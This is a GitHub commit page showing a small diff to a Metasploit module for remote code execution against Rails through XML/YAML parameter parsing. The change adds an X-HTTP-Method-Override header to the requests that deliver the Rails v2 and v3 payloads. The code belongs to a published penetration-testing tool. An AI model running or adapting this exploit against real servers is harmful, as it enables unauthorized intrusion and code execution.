Skip to content

Commit 6471a70

Browse files
author
HD Moore
committed
Pass the X-HTTP-Method-Override parameter for compat
1 parent e709811 commit 6471a70

File tree

1 file changed

+10
-8
lines changed

1 file changed

+10
-8
lines changed

modules/exploits/multi/http/rails_xml_yaml_code_exec.rb

Lines changed: 10 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -166,19 +166,21 @@ def exploit
166166

167167
print_status("Sending Railsv3 request to #{rhost}:#{rport}...")
168168
res = send_request_cgi({
169-
'uri' => datastore['URIPATH'] || "/",
170-
'method' => datastore['HTTP_METHOD'],
171-
'ctype' => 'application/xml',
172-
'data' => build_request(3)
169+
'uri' => datastore['URIPATH'] || "/",
170+
'method' => datastore['HTTP_METHOD'],
171+
'ctype' => 'application/xml',
172+
'headers' => { 'X-HTTP-Method-Override' => 'get' },
173+
'data' => build_request(3)
173174
}, 25)
174175
handler
175176

176177
print_status("Sending Railsv2 request to #{rhost}:#{rport}...")
177178
res = send_request_cgi({
178-
'uri' => datastore['URIPATH'] || "/",
179-
'method' => datastore['HTTP_METHOD'],
180-
'ctype' => 'application/xml',
181-
'data' => build_request(2)
179+
'uri' => datastore['URIPATH'] || "/",
180+
'method' => datastore['HTTP_METHOD'],
181+
'ctype' => 'application/xml',
182+
'headers' => { 'X-HTTP-Method-Override' => 'get' },
183+
'data' => build_request(2)
182184
}, 25)
183185
handler
184186
end

0 commit comments

Comments
 (0)